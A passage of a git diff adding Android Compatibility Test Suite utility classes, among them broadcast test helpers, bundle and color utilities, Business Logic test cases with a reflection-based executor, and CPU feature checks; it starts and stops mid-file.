+ public abstract static class ReceiverBase<TRequest, TResponse> extends BroadcastReceiver {
+ @Override
+ public final void onReceive(Context context, Intent intent) {
+ assertEquals(ACTION_REQUEST, intent.getAction());
+
+ // Parse the request.
+ final TRequest request = bytesToRequest(intent.getByteArrayExtra(EXTRA_PAYLOAD));
+
+ Log.i(TAG, "Request received: " + (VERBOSE ? request.toString() : ""));
+
+ Throwable exception = null;
+
+ // Handle it and generate a response.
+ TResponse response = null;
+ try {
+ response = handleRequest(context, request);
+ Log.i(TAG, "Response generated: " + (VERBOSE ? response.toString() : ""));
+ } catch (Throwable e) {
+ exception = e;
+ Log.e(TAG, "Exception thrown: " + e.getMessage(), e);
+ }
+
+ // Send back.
+ final Bundle extras = new Bundle();
+ if (response != null) {
+ extras.putByteArray(EXTRA_PAYLOAD, responseToBytes(response));
+ }
+ if (exception != null) {
+ extras.putString(EXTRA_EXCEPTION,
+ exception.toString() + "\n" + Log.getStackTraceString(exception));
+ }
+ setResultExtras(extras);
+ }
+
+ /** Implement in a subclass */
+ protected abstract TResponse handleRequest(Context context, TRequest request)
+ throws Exception;
+
+ /** Implement in a subclass */
+ protected abstract byte[] responseToBytes(TResponse response);
+
+ /** Implement in a subclass */
+ protected abstract TRequest bytesToRequest(byte[] bytes);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestBase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestBase.java
new file mode 100644
index 0000000..bf5dc39
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestBase.java
@@ -0,0 +1,123 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.test.ActivityInstrumentationTestCase2;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class BroadcastTestBase extends ActivityInstrumentationTestCase2<
+ BroadcastTestStartActivity> {
+ static final String TAG = "BroadcastTestBase";
+ protected static final int TIMEOUT_MS = 20 * 1000;
+
+ protected Context mContext;
+ protected Bundle mResultExtras;
+ private CountDownLatch mLatch;
+ protected ActivityDoneReceiver mActivityDoneReceiver = null;
+ private BroadcastTestStartActivity mActivity;
+ private BroadcastUtils.TestcaseType mTestCaseType;
+ protected boolean mHasFeature;
+
+ public BroadcastTestBase() {
+ super(BroadcastTestStartActivity.class);
+ }
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mHasFeature = false;
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mHasFeature && mActivityDoneReceiver != null) {
+ try {
+ mContext.unregisterReceiver(mActivityDoneReceiver);
+ } catch (IllegalArgumentException e) {
+ // This exception is thrown if mActivityDoneReceiver in
+ // the above call to unregisterReceiver is never registered.
+ // If so, no harm done by ignoring this exception.
+ }
+ mActivityDoneReceiver = null;
+ }
+ super.tearDown();
+ }
+
+ protected boolean isIntentSupported(String intentStr) {
+ Intent intent = new Intent(intentStr);
+ final PackageManager manager = mContext.getPackageManager();
+ assertNotNull(manager);
+ if (manager.resolveActivity(intent, 0) == null) {
+ Log.i(TAG, "No Activity found for the intent: " + intentStr);
+ return false;
+ }
+ return true;
+ }
+
+ protected void startTestActivity(String intentSuffix) {
+ Intent intent = new Intent();
+ intent.setAction("android.intent.action.TEST_START_ACTIVITY_" + intentSuffix);
+ intent.setComponent(new ComponentName(getInstrumentation().getContext(),
+ BroadcastTestStartActivity.class));
+ setActivityIntent(intent);
+ mActivity = getActivity();
+ }
+
+ protected void registerBroadcastReceiver(BroadcastUtils.TestcaseType testCaseType) throws Exception {
+ mTestCaseType = testCaseType;
+ mLatch = new CountDownLatch(1);
+ mActivityDoneReceiver = new ActivityDoneReceiver();
+ mContext.registerReceiver(mActivityDoneReceiver,
+ new IntentFilter(BroadcastUtils.BROADCAST_INTENT + testCaseType.toString()));
+ }
+
+ protected boolean startTestAndWaitForBroadcast(BroadcastUtils.TestcaseType testCaseType,
+ String pkg, String cls) throws Exception {
+ Log.i(TAG, "Begin Testing: " + testCaseType);
+ registerBroadcastReceiver(testCaseType);
+ mActivity.startTest(testCaseType.toString(), pkg, cls);
+ if (!mLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+ fail("Failed to receive broadcast in " + TIMEOUT_MS + "msec");
+ return false;
+ }
+ return true;
+ }
+
+ class ActivityDoneReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (intent.getAction().equals(
+ BroadcastUtils.BROADCAST_INTENT +
+ BroadcastTestBase.this.mTestCaseType.toString())) {
+ Bundle extras = intent.getExtras();
+ Log.i(TAG, "received_broadcast for " + BroadcastUtils.toBundleString(extras));
+ BroadcastTestBase.this.mResultExtras = extras;
+ mLatch.countDown();
+ }
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java
new file mode 100644
index 0000000..4b3e85d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastTestStartActivity.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.util.Log;
+
+public class BroadcastTestStartActivity extends Activity {
+ static final String TAG = "BroadcastTestStartActivity";
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ Log.i(TAG, " in onCreate");
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ Log.i(TAG, " in onResume");
+ }
+
+ void startTest(String testCaseType, String pkg, String cls) {
+ Intent intent = new Intent();
+ Log.i(TAG, "received_testcasetype = " + testCaseType);
+ intent.putExtra(BroadcastUtils.TESTCASE_TYPE, testCaseType);
+ intent.setAction("android.intent.action.VIMAIN_" + testCaseType);
+ intent.setComponent(new ComponentName(pkg, cls));
+ startActivity(intent);
+ }
+
+ @Override
+ protected void onPause() {
+ Log.i(TAG, " in onPause");
+ super.onPause();
+ }
+
+ @Override
+ protected void onStart() {
+ super.onStart();
+ Log.i(TAG, " in onStart");
+ }
+
+ @Override
+ protected void onRestart() {
+ super.onRestart();
+ Log.i(TAG, " in onRestart");
+ }
+
+ @Override
+ protected void onStop() {
+ Log.i(TAG, " in onStop");
+ super.onStop();
+ }
+
+ @Override
+ protected void onDestroy() {
+ Log.i(TAG, " in onDestroy");
+ super.onDestroy();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastUtils.java
new file mode 100644
index 0000000..a4661fc
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastUtils.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.Bundle;
+
+public class BroadcastUtils {
+ public enum TestcaseType {
+ ZEN_MODE_ON,
+ ZEN_MODE_OFF,
+ AIRPLANE_MODE_ON,
+ AIRPLANE_MODE_OFF,
+ BATTERYSAVER_MODE_ON,
+ BATTERYSAVER_MODE_OFF,
+ THEATER_MODE_ON,
+ THEATER_MODE_OFF
+ }
+ public static final String TESTCASE_TYPE = "Testcase_type";
+ public static final String BROADCAST_INTENT =
+ "android.intent.action.FROM_UTIL_CTS_TEST_";
+ public static final int NUM_MINUTES_FOR_ZENMODE = 10;
+
+ public static final String toBundleString(Bundle bundle) {
+ if (bundle == null) {
+ return "*** Bundle is null ****";
+ }
+ StringBuilder buf = new StringBuilder();
+ if (bundle != null) {
+ buf.append("extras: ");
+ for (String s : bundle.keySet()) {
+ buf.append("(" + s + " = " + bundle.get(s) + "), ");
+ }
+ }
+ return buf.toString();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BundleUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BundleUtils.java
new file mode 100644
index 0000000..eda641d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BundleUtils.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.Bundle;
+
+public class BundleUtils {
+ private BundleUtils() {
+ }
+
+ public static Bundle makeBundle(Object... keysAndValues) {
+ if ((keysAndValues.length % 2) != 0) {
+ throw new IllegalArgumentException("Argument count not even.");
+ }
+
+ if (keysAndValues.length == 0) {
+ return null;
+ }
+ final Bundle ret = new Bundle();
+
+ for (int i = keysAndValues.length - 2; i >= 0; i -= 2) {
+ final String key = keysAndValues[i].toString();
+ final Object value = keysAndValues[i + 1];
+
+ if (value == null) {
+ ret.putString(key, null);
+
+ } else if (value instanceof Boolean) {
+ ret.putBoolean(key, (Boolean) value);
+
+ } else if (value instanceof Integer) {
+ ret.putInt(key, (Integer) value);
+
+ } else if (value instanceof String) {
+ ret.putString(key, (String) value);
+
+ } else if (value instanceof Bundle) {
+ ret.putBundle(key, (Bundle) value);
+ } else {
+ throw new IllegalArgumentException(
+ "Type not supported yet: " + value.getClass().getName());
+ }
+ }
+ return ret;
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
new file mode 100644
index 0000000..d12caa8
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import org.junit.Before;
+
+/**
+ * Device-side base class for tests leveraging the Business Logic service for rules that are
+ * conditionally added based on the device characteristics.
+ */
+public class BusinessLogicConditionalTestCase extends BusinessLogicTestCase {
+
+ @Override
+ @Before
+ public void handleBusinessLogic() {
+ super.loadBusinessLogic();
+ ensureAuthenticated();
+ super.executeBusinessLogic();
+ }
+
+ protected void ensureAuthenticated() {
+ if (!mCanReadBusinessLogic) {
+ // super class handles the condition that the service is unavailable.
+ return;
+ }
+
+ if (!mBusinessLogic.mConditionalTestsEnabled) {
+ skipTest("Execution of device specific tests is not enabled. "
+ + "Enable with '--conditional-business-logic-tests-enabled'");
+ }
+
+ if (mBusinessLogic.isAuthorized()) {
+ // Run test as normal.
+ return;
+ }
+ String message = mBusinessLogic.getAuthenticationStatusMessage();
+
+ // Fail test since request was not authorized.
+ failTest(String.format("Unable to execute because %s.", message));
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
new file mode 100644
index 0000000..7d7aaf0
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Execute business logic methods for device side test cases
+ */
+public class BusinessLogicDeviceExecutor extends BusinessLogicExecutor {
+
+ private Context mContext;
+ private Object mTestObj;
+
+ public BusinessLogicDeviceExecutor(Context context, Object testObj) {
+ mContext = context;
+ mTestObj = testObj;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected Object getTestObject() {
+ return mTestObj;
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ public void logInfo(String format, Object... args) {
+ Log.i(LOG_TAG, String.format(format, args));
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ public void logDebug(String format, Object... args) {
+ Log.d(LOG_TAG, String.format(format, args));
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected String formatExecutionString(String method, String... args) {
+ return String.format("%s(%s)", method, TextUtils.join(", ", args));
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
+ throws ClassNotFoundException {
+ List<Method> nameMatches = getMethodsWithName(cls, methodName);
+ for (Method m : nameMatches) {
+ ResolvedMethod rm = new ResolvedMethod(m);
+ int paramTypesMatched = 0;
+ int argsUsed = 0;
+ Class[] paramTypes = m.getParameterTypes();
+ for (Class paramType : paramTypes) {
+ if (argsUsed == args.length && paramType.equals(String.class)) {
+ // We've used up all supplied string args, so this method will not match.
+ // If paramType is the Context class, we can match a paramType without needing
+ // more string args. similarly, paramType "String[]" can be matched with zero
+ // string args. If we add support for more paramTypes, this logic may require
+ // adjustment.
+ break;
+ }
+ if (paramType.equals(String.class)) {
+ // Type "String" -- supply the next available arg
+ rm.addArg(args[argsUsed++]);
+ } else if (Context.class.isAssignableFrom(paramType)) {
+ // Type "Context" -- supply the context from the test case
+ rm.addArg(mContext);
+ } else if (paramType.equals(Class.forName(STRING_ARRAY_CLASS))) {
+ // Type "String[]" (or "String...") -- supply all remaining args
+ rm.addArg(Arrays.copyOfRange(args, argsUsed, args.length));
+ argsUsed += (args.length - argsUsed);
+ } else {
+ break; // Param type is unrecognized, this method will not match.
+ }
+ paramTypesMatched++; // A param type has been matched when reaching this point.
+ }
+ if (paramTypesMatched == paramTypes.length && argsUsed == args.length) {
+ return rm; // Args match, methods match, so return the first method-args pairing.
+ }
+ // Not a match, try args for next method that matches by name.
+ }
+ throw new RuntimeException(String.format(
+ "BusinessLogic: Failed to invoke action method %s with args: %s", methodName,
+ Arrays.toString(args)));
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
new file mode 100644
index 0000000..36e647b
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.lang.reflect.Field;
+import java.io.File;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Device-side base class for tests leveraging the Business Logic service.
+ */
+public class BusinessLogicTestCase {
+
+ /* String marking the beginning of the parameter in a test name */
+ private static final String PARAM_START = "[";
+
+ /* Test name rule that tracks the current test method under execution */
+ @Rule public TestName mTestCase = new TestName();
+
+ protected BusinessLogic mBusinessLogic;
+ protected boolean mCanReadBusinessLogic = true;
+
+ @Before
+ public void handleBusinessLogic() {
+ loadBusinessLogic();
+ executeBusinessLogic();
+ }
+
+ protected void executeBusinessLogic() {
+ String methodName = mTestCase.getMethodName();
+ assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
+ + "remote configuration.", methodName), mCanReadBusinessLogic);
+ if (methodName.contains(PARAM_START)) {
+ // Strip parameter suffix (e.g. "[0]") from method name
+ methodName = methodName.substring(0, methodName.lastIndexOf(PARAM_START));
+ }
+ String testName = String.format("%s#%s", this.getClass().getName(), methodName);
+ if (mBusinessLogic.hasLogicFor(testName)) {
+ Log.i("Finding business logic for test case: ", testName);
+ BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
+ mBusinessLogic.applyLogicFor(testName, executor);
+ }
+ }
+
+ protected void loadBusinessLogic() {
+ File businessLogicFile = new File(BusinessLogic.DEVICE_FILE);
+ if (businessLogicFile.canRead()) {
+ mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
+ } else {
+ mCanReadBusinessLogic = false;
+ }
+ }
+
+ protected static Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
+
+ protected static Context getContext() {
+ return getInstrumentation().getTargetContext();
+ }
+
+ public static void skipTest(String message) {
+ assumeTrue(message, false);
+ }
+
+ public static void failTest(String message) {
+ fail(message);
+ }
+
+ public void mapPut(String mapName, String key, String value) {
+ boolean put = false;
+ for (Field f : getClass().getDeclaredFields()) {
+ if (f.getName().equalsIgnoreCase(mapName) && Map.class.isAssignableFrom(f.getType())) {
+ try {
+ ((Map) f.get(this)).put(key, value);
+ put = true;
+ } catch (IllegalAccessException e) {
+ Log.w(String.format("failed to invoke mapPut on field \"%s\". Resuming...",
+ f.getName()), e);
+ // continue iterating through fields, throw exception if no other fields match
+ }
+ }
+ }
+ if (!put) {
+ throw new RuntimeException(String.format("Failed to find map %s in class %s", mapName,
+ getClass().getName()));
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CTSResult.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CTSResult.java
new file mode 100644
index 0000000..d60155a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CTSResult.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package com.android.compatibility.common.util;
+
+public interface CTSResult {
+ public static final int RESULT_OK = 1;
+ public static final int RESULT_FAIL = 2;
+ public void setResult(int resultCode);
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CallbackAsserter.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CallbackAsserter.java
new file mode 100644
index 0000000..5a9a2a6
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CallbackAsserter.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.ContentObserver;
+import android.net.Uri;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
+
+/**
+ * CallbackAsserter helps wait until a callback is called.
+ */
+public class CallbackAsserter {
+ private static final String TAG = "CallbackAsserter";
+
+ final CountDownLatch mLatch = new CountDownLatch(1);
+
+ CallbackAsserter() {
+ }
+
+ /**
+ * Call this to assert a callback be called within the given timeout.
+ */
+ public final void assertCalled(String message, int timeoutSeconds) throws Exception {
+ try {
+ if (mLatch.await(timeoutSeconds, TimeUnit.SECONDS)) {
+ return;
+ }
+ fail("Didn't receive callback: " + message);
+ } finally {
+ cleanUp();
+ }
+ }
+
+ void cleanUp() {
+ }
+
+ /**
+ * Create an instance for a broadcast.
+ */
+ public static CallbackAsserter forBroadcast(IntentFilter filter) {
+ return forBroadcast(filter, null);
+ }
+
+ /**
+ * Create an instance for a broadcast.
+ */
+ public static CallbackAsserter forBroadcast(IntentFilter filter, Predicate<Intent> checker) {
+ return new BroadcastAsserter(filter, checker);
+ }
+
+ /**
+ * Create an instance for a content changed notification.
+ */
+ public static CallbackAsserter forContentUri(Uri watchUri) {
+ return forContentUri(watchUri, null);
+ }
+
+ /**
+ * Create an instance for a content changed notification.
+ */
+ public static CallbackAsserter forContentUri(Uri watchUri, Predicate<Uri> checker) {
+ return new ContentObserverAsserter(watchUri, checker);
+ }
+
+ private static class BroadcastAsserter extends CallbackAsserter {
+ private final BroadcastReceiver mReceiver;
+
+ BroadcastAsserter(IntentFilter filter, Predicate<Intent> checker) {
+ mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (checker != null && !checker.test(intent)) {
+ Log.v(TAG, "Ignoring intent: " + intent);
+ return;
+ }
+ mLatch.countDown();
+ }
+ };
+ InstrumentationRegistry.getContext().registerReceiver(mReceiver, filter);
+ }
+
+ @Override
+ void cleanUp() {
+ InstrumentationRegistry.getContext().unregisterReceiver(mReceiver);
+ }
+ }
+
+ private static class ContentObserverAsserter extends CallbackAsserter {
+ private final ContentObserver mObserver;
+
+ ContentObserverAsserter(Uri watchUri, Predicate<Uri> checker) {
+ mObserver = new ContentObserver(null) {
+ @Override
+ public void onChange(boolean selfChange, Uri uri) {
+ if (checker != null && !checker.test(uri)) {
+ Log.v(TAG, "Ignoring notification on URI: " + uri);
+ return;
+ }
+ mLatch.countDown();
+ }
+ };
+ InstrumentationRegistry.getContext().getContentResolver().registerContentObserver(
+ watchUri, true, mObserver);
+ }
+
+ @Override
+ void cleanUp() {
+ InstrumentationRegistry.getContext().getContentResolver().unregisterContentObserver(
+ mObserver);
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ColorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ColorUtils.java
new file mode 100644
index 0000000..a2439c7
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ColorUtils.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.graphics.Color;
+
+public class ColorUtils {
+ public static void verifyColor(int expected, int observed) {
+ verifyColor(expected, observed, 0);
+ }
+
+ public static void verifyColor(int expected, int observed, int tolerance) {
+ String s = "expected " + Integer.toHexString(expected)
+ + ", observed " + Integer.toHexString(observed)
+ + ", tolerated channel error " + tolerance;
+ assertEquals(s, Color.red(expected), Color.red(observed), tolerance);
+ assertEquals(s, Color.green(expected), Color.green(observed), tolerance);
+ assertEquals(s, Color.blue(expected), Color.blue(observed), tolerance);
+ assertEquals(s, Color.alpha(expected), Color.alpha(observed), tolerance);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ConnectivityUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ConnectivityUtils.java
new file mode 100644
index 0000000..09a0a85
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ConnectivityUtils.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+
+public class ConnectivityUtils {
+ private ConnectivityUtils() {
+ }
+
+ /** @return true when the device has a network connection. */
+ public static boolean isNetworkConnected(Context context) {
+ final NetworkInfo networkInfo = context.getSystemService(ConnectivityManager.class)
+ .getActiveNetworkInfo();
+ return (networkInfo != null) && networkInfo.isConnected();
+ }
+
+ /** Assert that the device has a network connection. */
+ public static void assertNetworkConnected(Context context) {
+ assertTrue("Network must be connected", isNetworkConnected(context));
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CpuFeatures.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CpuFeatures.java
new file mode 100644
index 0000000..6cf1414
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CpuFeatures.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.Build;
+
+public class CpuFeatures {
+
+ public static final String ARMEABI_V7 = "armeabi-v7a";
+
+ public static final String ARMEABI = "armeabi";
+
+ public static final String MIPSABI = "mips";
+
+ public static final String X86ABI = "x86";
+
+ public static final int HWCAP_VFP = (1 << 6);
+
+ public static final int HWCAP_NEON = (1 << 12);
+
+ public static final int HWCAP_VFPv3 = (1 << 13);
+
+ public static final int HWCAP_VFPv4 = (1 << 16);
+
+ public static final int HWCAP_IDIVA = (1 << 17);
+
+ public static final int HWCAP_IDIVT = (1 << 18);
+
+ static {
+ System.loadLibrary("cts_jni");
+ }
+
+ public static native boolean isArmCpu();
+
+ public static native boolean isArm7Compatible();
+
+ public static native boolean isMipsCpu();
+
+ public static native boolean isX86Cpu();
+
+ public static native boolean isArm64Cpu();
+
